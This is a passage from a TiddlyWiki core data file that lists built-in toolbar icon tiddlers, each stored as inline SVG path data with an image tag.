"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-opacity tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M102.362 65a51.595 51.595 0 01-1.942 6H82.584a35.867 35.867 0 002.997-6h16.78zm.472-2c.423-1.961.734-3.963.929-6H87.656a35.78 35.78 0 01-1.368 6h16.546zm-3.249 10a51.847 51.847 0 01-3.135 6H75.812a36.205 36.205 0 005.432-6h18.341zm-4.416 8c-1.424 2.116-3 4.12-4.71 6H60.46a35.843 35.843 0 0012.874-6h21.834zm-7.513-34h16.107C101.247 20.627 79.033 0 52 0 23.281 0 0 23.281 0 52c0 25.228 17.965 46.26 41.8 51h20.4a51.66 51.66 0 0015.875-6H39v-2h42.25a52.257 52.257 0 007.288-6H39v-2h4.539C27.739 83.194 16 68.968 16 52c0-19.882 16.118-36 36-36 18.186 0 33.222 13.484 35.656 31zm.22 2h16.039a52.823 52.823 0 010 6H87.877a36.483 36.483 0 000-6z\"/><path d=\"M76 128c28.719 0 52-23.281 52-52s-23.281-52-52-52-52 23.281-52 52 23.281 52 52 52zm0-16c19.882 0 36-16.118 36-36S95.882 40 76 40 40 56.118 40 76s16.118 36 36 36z\"/><path d=\"M37 58h53v4H37v-4zm3-8h53v4H40v-4zm0-8h53v4H40v-4zm-8 24h53v4H32v-4zm-2 8h53v4H30v-4zm-3 8h53v4H27v-4z\"/></g></svg>"
},
"$:/core/images/open-window": {
"title": "$:/core/images/open-window",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-open-window tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M16 112h88.994c3.87 0 7.006 3.59 7.006 8 0 4.418-3.142 8-7.006 8H7.006C3.136 128 0 124.41 0 120a9.321 9.321 0 010-.01V24.01C0 19.586 3.59 16 8 16c4.418 0 8 3.584 8 8.01V112z\"/><path d=\"M96 43.196V56a8 8 0 1016 0V24c0-4.41-3.585-8-8.007-8H72.007C67.588 16 64 19.582 64 24c0 4.41 3.585 8 8.007 8H84.57l-36.3 36.299a8 8 0 00-.001 11.316c3.117 3.117 8.19 3.123 11.316-.003L96 43.196zM32 7.999C32 3.581 35.588 0 40 0h80c4.419 0 8 3.588 8 8v80c0 4.419-3.588 8-8 8H40c-4.419 0-8-3.588-8-8V8z\"/></g></svg>"
},
"$:/core/images/options-button": {
"title": "$:/core/images/options-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-options-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M110.488 76a47.712 47.712 0 01-5.134 12.384l6.724 6.724c3.123 3.123 3.132 8.192.011 11.313l-5.668 5.668c-3.12 3.12-8.186 3.117-11.313-.01l-6.724-6.725c-3.82 2.258-7.98 4-12.384 5.134v9.505c0 4.417-3.578 8.007-7.992 8.007h-8.016C55.58 128 52 124.415 52 119.993v-9.505a47.712 47.712 0 01-12.384-5.134l-6.724 6.725c-3.123 3.122-8.192 3.131-11.313.01l-5.668-5.668c-3.12-3.12-3.116-8.186.01-11.313l6.725-6.724c-2.257-3.82-4-7.98-5.134-12.384H8.007C3.591 76 0 72.422 0 68.01v-8.017C0 55.58 3.585 52 8.007 52h9.505a47.712 47.712 0 015.134-12.383l-6.724-6.725c-3.123-3.122-3.132-8.191-.011-11.312l5.668-5.669c3.12-3.12 8.186-3.116 11.313.01l6.724 6.725c3.82-2.257 7.98-4 12.384-5.134V8.007C52 3.591 55.578 0 59.992 0h8.016C72.42 0 76 3.585 76 8.007v9.505a47.712 47.712 0 0112.384 5.134l6.724-6.724c3.123-3.123 8.192-3.132 11.313-.01l5.668 5.668c3.12 3.12 3.116 8.186-.01 11.312l-6.725 6.725c2.257 3.82 4 7.979 5.134 12.383h9.505c4.416 0 8.007 3.578 8.007 7.992v8.017c0 4.411-3.585 7.991-8.007 7.991h-9.505zM64 96c17.673 0 32-14.327 32-32 0-17.673-14.327-32-32-32-17.673 0-32 14.327-32 32 0 17.673 14.327 32 32 32z\"/></svg>"
},
"$:/core/images/paint": {
"title": "$:/core/images/paint",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-paint tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M83.527 76.19C90.43 69.287 91.892 59 87.91 50.665l37.903-37.902c2.919-2.92 2.913-7.659 0-10.572a7.474 7.474 0 00-10.572 0L77.338 40.093c-8.335-3.982-18.622-2.521-25.526 4.383l31.715 31.715zm-2.643 2.644L49.169 47.119S8.506 81.243 0 80.282c0 0 3.782 5.592 6.827 8.039 14.024-5.69 37.326-24.6 37.326-24.6l.661.66S19.45 90.222 9.18 92.047c1.222 1.44 4.354 4.053 6.247 5.776 5.417-1.488 34.733-28.57 34.733-28.57l.661.66-32.407 31.022 5.285 5.286L56.106 75.2l.662.66s-27.864 30.536-28.684 32.432c0 0 6.032 6.853 7.569 7.824.702-2.836 27.884-33.485 27.884-33.485l.661.66s-20.597 23.755-24.964 36.732c3.21 3.549 7.5 5.137 10.926 6.298-2.19-11.817 30.724-47.487 30.724-47.487z\"/></svg>"
},
"$:/core/images/palette": {
"title": "$:/core/images/palette",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-palette tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M80.247 39.182a93.52 93.52 0 00-16.228-1.4C28.662 37.781 0 57.131 0 81.002c0 9.642 4.676 18.546 12.58 25.735C23.504 91.19 26.34 72.395 36.89 63.562c15.183-12.713 26.538-7.828 26.538-7.828l16.82-16.552zm26.535 9.655c13.049 7.913 21.257 19.392 21.257 32.166 0 9.35.519 17.411-11.874 25.08-10.797 6.681-3.824-6.536-11.844-10.898s-19.946 1.308-18.213 7.906c3.2 12.181 19.422 11.455 6.314 16.658-13.107 5.202-18.202 4.476-28.403 4.476-7.821 0-15.315-.947-22.243-2.68 9.844-4.197 27.88-12.539 33.354-19.456C82.788 92.409 87.37 80 83.324 72.484c-.194-.359 11.215-11.668 23.458-23.647zM1.134 123.867l-.66.002c33.479-14.94 22.161-64.226 58.818-64.226.317 1.418.644 2.944 1.062 4.494-25.907-4.166-23.567 48.031-59.22 59.73zm.713-.007c38.872-.506 78.152-22.347 78.152-44.813-9.27 0-14.073-3.48-16.816-7.942-16.597-7.003-30.365 45.715-61.336 52.755zm65.351-64.008c-4.45 4.115 4.886 16.433 11.318 11.318l45.27-45.27c11.317-11.318 0-22.635-11.318-11.318-11.317 11.318-33.518 34.405-45.27 45.27z\"/></svg>"
},
"$:/core/images/permalink-button": {
"title": "$:/core/images/permalink-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-permalink-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M80.483 48l-7.387 32h-25.58l7.388-32h25.58zm3.694-16l5.624-24.358c.993-4.303 5.29-6.996 9.596-6.002 4.296.992 6.988 5.293 5.994 9.602L100.598 32h3.403c4.41 0 7.999 3.582 7.999 8 0 4.41-3.581 8-8 8h-7.096l-7.387 32H104c4.41 0 7.999 3.582 7.999 8 0 4.41-3.581 8-8 8H85.824l-5.624 24.358c-.993 4.303-5.29 6.996-9.596 6.002-4.296-.992-6.988-5.293-5.994-9.602L69.402 96h-25.58L38.2 120.358c-.993 4.303-5.29 6.996-9.596 6.002-4.296-.992-6.988-5.293-5.994-9.602L27.402 96h-3.403C19.59 96 16 92.418 16 88c0-4.41 3.581-8 8-8h7.096l7.387-32H24C19.59 48 16 44.418 16 40c0-4.41 3.581-8 8-8h18.177l5.624-24.358c.993-4.303 5.29-6.996 9.596-6.002 4.296.992 6.988 5.293 5.994 9.602L58.598 32h25.58z\"/></svg>"
},
"$:/core/images/permaview-button": {
"title": "$:/core/images/permaview-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-permaview-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M81.483 48l-1.846 8h-5.58l1.847-8h5.58zm3.694-16l5.624-24.358c.993-4.303 5.29-6.996 9.596-6.002 4.296.992 6.988 5.293 5.994 9.602L101.598 32h2.403c4.41 0 7.999 3.582 7.999 8 0 4.41-3.581 8-8 8h-6.096l-1.847 8h7.944c4.41 0 7.999 3.582 7.999 8 0 4.41-3.581 8-8 8H92.364l-1.846 8H104c4.41 0 7.999 3.582 7.999 8 0 4.41-3.581 8-8 8H86.824l-5.624 24.358c-.993 4.303-5.29 6.996-9.596 6.002-4.296-.992-6.988-5.293-5.994-9.602L70.402 96h-5.58L59.2 120.358c-.993 4.303-5.29 6.996-9.596 6.002-4.296-.992-6.988-5.293-5.994-9.602L48.402 96h-5.58L37.2 120.358c-.993 4.303-5.29 6.996-9.596 6.002-4.296-.992-6.988-5.293-5.994-9.602L26.402 96h-2.403C19.59 96 16 92.418 16 88c0-4.41 3.581-8 8-8h6.096l1.847-8h-7.944C19.59 72 16 68.418 16 64c0-4.41 3.581-8 8-8h11.637l1.846-8H24C19.59 48 16 44.418 16 40c0-4.41 3.581-8 8-8h17.177l5.624-24.358c.993-4.303 5.29-6.996 9.596-6.002 4.296.992 6.988 5.293 5.994 9.602L57.598 32h5.58L68.8 7.642c.993-4.303 5.29-6.996 9.596-6.002 4.296.992 6.988 5.293 5.994 9.602L79.598 32h5.58zM53.904 48l-1.847 8h5.58l1.846-8h-5.579zm22.039 24l-1.847 8h-5.58l1.847-8h5.58zm-27.58 0l-1.846 8h5.579l1.847-8h-5.58z\"/></svg>"
},
"$:/core/images/picture": {
"title": "$:/core/images/picture",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-picture tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M112 68.233v-48.23A4.001 4.001 0 00107.997 16H20.003A4.001 4.001 0 0016 20.003v38.31l9.241-14.593c2.8-4.422 9.023-5.008 12.6-1.186l18.247 20.613 13.687-6.407a8 8 0 018.903 1.492 264.97 264.97 0 002.92 2.739 249.44 249.44 0 006.798 6.066 166.5 166.5 0 002.106 1.778c2.108 1.747 3.967 3.188 5.482 4.237.748.518 1.383.92 2.044 1.33.444.117 1.046.144 1.809.05 1.873-.233 4.238-1.144 6.723-2.547a36.016 36.016 0 003.205-2.044c.558-.4.93-.686 1.07-.802.376-.31.765-.577 1.165-.806zM0 8.007A8.01 8.01 0 018.007 0h111.986A8.01 8.01 0 01128 8.007v111.986a8.01 8.01 0 01-8.007 8.007H8.007A8.01 8.01 0 010 119.993V8.007zM95 42a8 8 0 100-16 8 8 0 000 16zM32 76c15.859 4.83 20.035 7.244 20.035 12S32 95.471 32 102.347c0 6.876 1.285 4.99 1.285 9.653H68s-13.685-6.625-13.685-10.8c0-7.665 10.615-8.34 10.615-13.2 0-7.357-14.078-8.833-32.93-12z\"/></svg>"
},
"$:/core/images/plugin-generic-language": {
"title": "$:/core/images/plugin-generic-language",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M61.207 68.137c-4.324 2.795-6.999 6.656-6.999 10.921 0 7.906 9.19 14.424 21.042 15.336 2.162 3.902 8.598 6.785 16.318 7.01-5.126-1.125-9.117-3.742-10.62-7.01C92.805 93.487 102 86.967 102 79.059c0-8.53-10.699-15.445-23.896-15.445-6.599 0-12.572 1.729-16.897 4.524zm12.794-14.158c-4.324 2.795-10.298 4.524-16.897 4.524-2.619 0-5.14-.272-7.497-.775-3.312 2.25-8.383 3.69-14.067 3.69l-.255-.002c4.119-.892 7.511-2.747 9.478-5.13-6.925-2.704-11.555-7.617-11.555-13.228 0-8.53 10.699-15.445 23.896-15.445C70.301 27.613 81 34.528 81 43.058c0 4.265-2.675 8.126-6.999 10.921zM64 0l54.56 32v64L64 128 9.44 96V32L64 0z\"/></svg>"
},
"$:/core/images/plugin-generic-plugin": {
"title": "$:/core/images/plugin-generic-plugin",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M40.397 76.446V95.34h14.12l-.001-.005a6.912 6.912 0 005.364-11.593l.046-.023a6.912 6.912 0 119.979.526l.086.055a6.914 6.914 0 004.408 10.948l-.023.092h21.32V75.568l-.15.038a6.912 6.912 0 00-11.593-5.364l-.022-.046a6.912 6.912 0 11.526-9.979l.055-.086a6.914 6.914 0 0010.948-4.408c.079.018.158.038.236.059v-15.74h-21.32l.023-.094a6.914 6.914 0 01-4.408-10.947 10.23 10.23 0 00-.086-.055 6.912 6.912 0 10-9.979-.526l-.046.023a6.912 6.912 0 01-5.364 11.593l.001.005h-14.12v12.847A6.912 6.912 0 0129.5 59.843l-.054.086a6.912 6.912 0 10-.526 9.979l.023.046a6.912 6.912 0 0111.455 6.492zM64 0l54.56 32v64L64 128 9.44 96V32L64 0z\"/></svg>"
},
"$:/core/images/plugin-generic-theme": {
"title": "$:/core/images/plugin-generic-theme",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M29.408 91.472L51.469 69.41l-.004-.005a2.22 2.22 0 01.004-3.146c.87-.87 2.281-.872 3.147-.005l9.465 9.464a2.22 2.22 0 01-.005 3.147c-.87.87-2.28.871-3.147.005l-.005-.005-22.061 22.062a6.686 6.686 0 11-9.455-9.455zM60.802 66.38c-2.436-2.704-4.465-5.091-5.817-6.869-6.855-9.014-10.313-4.268-14.226 0-3.913 4.268 1.03 7.726-2.683 10.741-3.713 3.015-3.484 4.06-9.752-1.455-6.267-5.516-6.7-7.034-3.823-10.181 2.877-3.147 5.281 1.808 11.159-3.785 5.877-5.593.94-10.55.94-10.55s12.237-25.014 28.588-23.167c16.351 1.848-6.186-2.392-11.792 17.226-2.4 8.4.447 6.42 4.998 9.968 1.394 1.086 6.03 4.401 11.794 8.685l20.677-20.676 1.615-4.766 7.84-4.689 3.151 3.152-4.688 7.84-4.766 1.615-20.224 20.223c12.663 9.547 28.312 22.146 28.312 26.709 0 7.217-3.071 11.526-9.535 9.164-4.693-1.715-18.768-15.192-28.753-25.897l-2.893 2.893-3.151-3.152 3.029-3.029zM63.953 0l54.56 32v64l-54.56 32-54.56-32V32l54.56-32z\"/></svg>"
},
"$:/core/images/preview-closed": {
"title": "$:/core/images/preview-closed",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-preview-closed tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M.088 64a7.144 7.144 0 001.378 5.458C16.246 88.818 39.17 100.414 64 100.414c24.83 0 47.753-11.596 62.534-30.956A7.144 7.144 0 00127.912 64C110.582 78.416 88.304 87.086 64 87.086 39.696 87.086 17.418 78.416.088 64z\"/><rect width=\"4\" height=\"16\" x=\"62\" y=\"96\" rx=\"4\"/><rect width=\"4\" height=\"16\" x=\"78\" y=\"93\" rx=\"4\" transform=\"rotate(-5 80 101)\"/><rect width=\"4\" height=\"16\" x=\"46\" y=\"93\" rx=\"4\" transform=\"rotate(5 48 101)\"/><rect width=\"4\" height=\"16\" x=\"30\" y=\"88\" rx=\"4\" transform=\"rotate(10 32 96)\"/><rect width=\"4\" height=\"16\" x=\"94\" y=\"88\" rx=\"4\" transform=\"rotate(-10 96 96)\"/><rect width=\"4\" height=\"16\" x=\"110\" y=\"80\" rx=\"4\" transform=\"rotate(-20 112 88)\"/><rect width=\"4\" height=\"16\" x=\"14\" y=\"80\" rx=\"4\" transform=\"rotate(20 16 88)\"/></g></svg>"
},
"$:/core/images/preview-open": {
"title": "$:/core/images/preview-open",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-preview-open tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M64.11 99.588c-24.83 0-47.754-11.596-62.534-30.957a7.148 7.148 0 010-8.675C16.356 40.596 39.28 29 64.11 29c24.83 0 47.753 11.596 62.534 30.956a7.148 7.148 0 010 8.675c-14.78 19.36-37.703 30.957-62.534 30.957zm46.104-32.007c1.44-1.524 1.44-3.638 0-5.162C99.326 50.9 82.439 44 64.147 44S28.968 50.9 18.08 62.42c-1.44 1.523-1.44 3.637 0 5.16C28.968 79.1 45.855 86 64.147 86s35.179-6.9 46.067-18.42z\"/><path d=\"M63.5 88C76.479 88 87 77.479 87 64.5S76.479 41 63.5 41 40 51.521 40 64.5 50.521 88 63.5 88z\"/></g></svg>"
},
"$:/core/images/print-button": {
"title": "$:/core/images/print-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-print-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M112 71V30.5h-.032c-.035-2-.816-3.99-2.343-5.516L86.998 2.357A7.978 7.978 0 0081 .02V0H24a8 8 0 00-8 8v63h8V8h57v14.5c0 4.422 3.582 8 8 8h15V71h8z\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"36\" rx=\"4\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"52\" rx=\"4\"/><rect width=\"40\" height=\"8\" x=\"32\" y=\"20\" rx=\"4\"/><path d=\"M0 80.005C0 71.165 7.156 64 16 64h96c8.836 0 16 7.155 16 16.005v31.99c0 8.84-7.156 16.005-16 16.005H16c-8.836 0-16-7.155-16-16.005v-31.99zM104 96a8 8 0 100-16 8 8 0 000 16z\"/></g></svg>"
},
"$:/core/images/quote": {
"title": "$:/core/images/quote",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-quote tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M51.219 117.713V62.199H27.427c0-8.891 1.683-16.401 5.047-22.53 3.365-6.127 9.613-10.754 18.745-13.878V2c-7.45.961-14.36 3.184-20.728 6.669-6.368 3.484-11.835 7.87-16.401 13.157C9.524 27.113 5.98 33.241 3.456 40.21.933 47.18-.21 54.63.03 62.56v55.153H51.22zm76.781 0V62.199h-23.791c0-8.891 1.682-16.401 5.046-22.53 3.365-6.127 9.613-10.754 18.745-13.878V2c-7.45.961-14.359 3.184-20.727 6.669-6.369 3.484-11.836 7.87-16.402 13.157-4.566 5.287-8.11 11.415-10.634 18.384-2.523 6.97-3.665 14.42-3.424 22.35v55.153H128z\"/></svg>"
},
"$:/core/images/refresh-button": {
"title": "$:/core/images/refresh-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-refresh-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M106.369 39.433c10.16 20.879 6.57 46.764-10.771 64.106-21.87 21.87-57.327 21.87-79.196 0-21.87-21.87-21.87-57.326 0-79.196a8 8 0 1111.314 11.314c-15.621 15.62-15.621 40.947 0 56.568 15.62 15.621 40.947 15.621 56.568 0C97.72 78.79 99.6 58.175 89.924 42.73l-6.44 12.264a8 8 0 11-14.166-7.437L84.435 18.76a8 8 0 0110.838-3.345l28.873 15.345a8 8 0 11-7.51 14.129l-10.267-5.457zm-8.222-12.368c-.167-.19-.336-.38-.506-.57l.96-.296-.454.866z\"/></svg>"
},
"$:/core/images/right-arrow": {
"title": "$:/core/images/right-arrow",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-right-arrow tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M99.069 64.173c0 2.027-.77 4.054-2.316 5.6l-55.98 55.98a7.92 7.92 0 01-11.196 0c-3.085-3.086-3.092-8.105 0-11.196l50.382-50.382-50.382-50.382a7.92 7.92 0 010-11.195c3.086-3.085 8.104-3.092 11.196 0l55.98 55.98a7.892 7.892 0 012.316 5.595z\"/></svg>"
},
"$:/core/images/rotate-left": {
"title": "$:/core/images/rotate-left",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-rotate-left tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"32\" height=\"80\" rx=\"8\"/><rect width=\"80\" height=\"32\" x=\"48\" y=\"96\" rx=\"8\"/><path d=\"M61.32 36.65c19.743 2.45 35.023 19.287 35.023 39.693a4 4 0 01-8 0c0-15.663-11.254-28.698-26.117-31.46l3.916 3.916a4 4 0 11-5.657 5.657L49.172 43.142a4 4 0 010-5.657l11.313-11.313a4 4 0 115.657 5.656l-4.821 4.822z\"/></g></svg>"
},
"$:/core/images/save-button": {
"title": "$:/core/images/save-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-save-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M120.783 34.33c4.641 8.862 7.266 18.948 7.266 29.646 0 35.347-28.653 64-64 64-35.346 0-64-28.653-64-64 0-35.346 28.654-64 64-64 18.808 0 35.72 8.113 47.43 21.03l2.68-2.68c3.13-3.13 8.197-3.132 11.321-.008 3.118 3.118 3.121 8.193-.007 11.32l-4.69 4.691zm-12.058 12.058a47.876 47.876 0 013.324 17.588c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48c14.39 0 27.3 6.332 36.098 16.362L58.941 73.544 41.976 56.578c-3.127-3.127-8.201-3.123-11.32-.005-3.123 3.124-3.119 8.194.006 11.319l22.617 22.617a7.992 7.992 0 005.659 2.347c2.05 0 4.101-.783 5.667-2.349l44.12-44.12z\"/></svg>"
},
"$:/core/images/size": {
"title": "$:/core/images/size",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-size tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M92.343 26l-9.171 9.172a4 4 0 105.656 5.656l16-16a4 4 0 000-5.656l-16-16a4 4 0 10-5.656 5.656L92.343 18H22a4 4 0 00-4 4v70.343l-9.172-9.171a4 4 0 10-5.656 5.656l16 16a4 4 0 005.656 0l16-16a4 4 0 10-5.656-5.656L26 92.343V22l-4 4h70.343zM112 52v64l4-4H52a4 4 0 100 8h64a4 4 0 004-4V52a4 4 0 10-8 0z\"/></svg>"
},
"$:/core/images/spiral": {
"title": "$:/core/images/spiral",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-spiral tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M64.534 68.348c3.39 0 6.097-2.62 6.476-5.968l-4.755-.538 4.75.583c.377-3.07-1.194-6.054-3.89-7.78-2.757-1.773-6.34-2.01-9.566-.7-3.46 1.403-6.14 4.392-7.35 8.148l-.01.026c-1.3 4.08-.72 8.64 1.58 12.52 2.5 4.2 6.77 7.2 11.76 8.27 5.37 1.15 11.11-.05 15.83-3.31 5.04-3.51 8.46-9.02 9.45-15.3 1.05-6.7-.72-13.63-4.92-19.19l.02.02c-4.42-5.93-11.2-9.82-18.78-10.78-7.96-1.01-16.13 1.31-22.59 6.43-6.81 5.39-11.18 13.41-12.11 22.26-.98 9.27 1.87 18.65 7.93 26.02 6.32 7.69 15.6 12.56 25.74 13.48 10.54.96 21.15-2.42 29.45-9.4l.01-.01c8.58-7.25 13.94-17.78 14.86-29.21.94-11.84-2.96-23.69-10.86-32.9-8.19-9.5-19.95-15.36-32.69-16.27-13.16-.94-26.24 3.49-36.34 12.34l.01-.01c-10.41 9.08-16.78 22.1-17.68 36.15-.93 14.44 4.03 28.77 13.79 39.78 10.03 11.32 24.28 18.2 39.6 19.09 15.73.92 31.31-4.56 43.24-15.234 12.23-10.954 19.61-26.44 20.5-43.074a4.785 4.785 0 00-4.52-5.03 4.778 4.778 0 00-5.03 4.52c-.75 14.1-7 27.2-17.33 36.45-10.03 8.98-23.11 13.58-36.3 12.81-12.79-.75-24.67-6.48-33-15.89-8.07-9.11-12.17-20.94-11.41-32.827.74-11.52 5.942-22.15 14.43-29.54l.01-.01c8.18-7.17 18.74-10.75 29.35-9.998 10.21.726 19.6 5.41 26.11 12.96 6.24 7.273 9.32 16.61 8.573 25.894-.718 8.9-4.88 17.064-11.504 22.66l.01-.007c-6.36 5.342-14.44 7.92-22.425 7.19-7.604-.68-14.52-4.314-19.21-10.027-4.44-5.4-6.517-12.23-5.806-18.94.67-6.3 3.76-11.977 8.54-15.766 4.46-3.54 10.05-5.128 15.44-4.44 5.03.63 9.46 3.18 12.32 7.01l.02.024c2.65 3.5 3.75 7.814 3.1 11.92-.59 3.71-2.58 6.925-5.45 8.924-2.56 1.767-5.61 2.403-8.38 1.81-2.42-.516-4.42-1.92-5.53-3.79-.93-1.56-1.15-3.3-.69-4.75l-4.56-1.446L59.325 65c.36-1.12 1.068-1.905 1.84-2.22.25-.103.48-.14.668-.13.06.006.11.015.14.025.01 0 .01 0-.01-.01a1.047 1.047 0 01-.264-.332c-.15-.29-.23-.678-.18-1.11l-.005.04c.15-1.332 1.38-2.523 3.035-2.523-2.65 0-4.79 2.144-4.79 4.787s2.14 4.785 4.78 4.785z\"/></svg>"
},
"$:/core/images/stamp": {
"title": "$:/core/images/stamp",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-stamp tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M49.733 64H16.01C11.584 64 8 67.583 8 72.003V97h112V72.003A8 8 0 00111.99 64H78.267A22.813 22.813 0 0175.5 53.077c0-6.475 2.687-12.324 7.009-16.497A22.818 22.818 0 0087 22.952C87 10.276 76.703 0 64 0S41 10.276 41 22.952c0 5.103 1.669 9.817 4.491 13.628 4.322 4.173 7.009 10.022 7.009 16.497 0 3.954-1.002 7.675-2.767 10.923zM8 104h112v8H8v-8z\"/></svg>"
},
"$:/core/images/star-filled": {
"title": "$:/core/images/star-filled",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-star-filled tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M61.836 96.823l37.327 27.287c2.72 1.99 6.379-.69 5.343-3.912L90.29 75.988l-1.26 3.91 37.285-27.345c2.718-1.993 1.32-6.327-2.041-6.33l-46.113-.036 3.3 2.416L67.176 4.416c-1.04-3.221-5.563-3.221-6.604 0L46.29 48.603l3.3-2.416-46.113.036c-3.362.003-4.759 4.337-2.04 6.33L38.72 79.898l-1.26-3.91-14.216 44.21c-1.036 3.223 2.622 5.901 5.343 3.912l37.326-27.287h-4.078z\"/></svg>"
},
"$:/core/images/storyview-classic": {
"title": "$:/core/images/storyview-classic",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-storyview-classic tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M8.007 0A8.01 8.01 0 000 8.007v111.986A8.01 8.01 0 008.007 128h111.986a8.01 8.01 0 008.007-8.007V8.007A8.01 8.01 0 00119.993 0H8.007zm15.992 16C19.581 16 16 19.578 16 23.992v16.016C16 44.422 19.588 48 24 48h80c4.419 0 8-3.578 8-7.992V23.992c0-4.414-3.588-7.992-8-7.992H24zm0 48C19.581 64 16 67.59 16 72c0 4.418 3.588 8 8 8h80c4.419 0 8-3.59 8-8 0-4.418-3.588-8-8-8H24zm0 32C19.581 96 16 99.59 16 104c0 4.418 3.588 8 8 8h80c4.419 0 8-3.59 8-8 0-4.418-3.588-8-8-8H24z\"/></svg>"
},
"$:/core/images/storyview-pop": {
"title": "$:/core/images/storyview-pop",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-storyview-pop tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M8.007 0A8.01 8.01 0 000 8.007v111.986A8.01 8.01 0 008.007 128h111.986a8.01 8.01 0 008.007-8.007V8.007A8.01 8.01 0 00119.993 0H8.007zm15.992 16C19.581 16 16 19.578 16 23.992v16.016C16 44.422 19.588 48 24 48h80c4.419 0 8-3.578 8-7.992V23.992c0-4.414-3.588-7.992-8-7.992H24zm-7.99 40C11.587 56 8 59.578 8 63.992v16.016C8 84.422 11.584 88 16.01 88h95.98c4.424 0 8.01-3.578 8.01-7.992V63.992c0-4.414-3.584-7.992-8.01-7.992H16.01zM24 96C19.581 96 16 99.59 16 104c0 4.418 3.588 8 8 8h80c4.419 0 8-3.59 8-8 0-4.418-3.588-8-8-8H24zm0-32C19.581 64 16 67.59 16 72c0 4.418 3.588 8 8 8h80c4.419 0 8-3.59 8-8 0-4.418-3.588-8-8-8H24z\"/></svg>"
},
"$:/core/images/storyview-zoomin": {
"title": "$:/core/images/storyview-zoomin",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-storyview-zoomin tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M8.007 0A8.01 8.01 0 000 8.007v111.986A8.01 8.01 0 008.007 128h111.986a8.01 8.01 0 008.007-8.007V8.007A8.01 8.01 0 00119.993 0H8.007zm15.992 16A8 8 0 0016 24.009V71.99C16 76.414 19.588 80 24 80h80a8 8 0 008-8.009V24.01c0-4.423-3.588-8.009-8-8.009H24z\"/></svg>"
},
"$:/core/images/strikethrough": {
"title": "$:/core/images/strikethrough",
"tags": "$:/tags/Image",
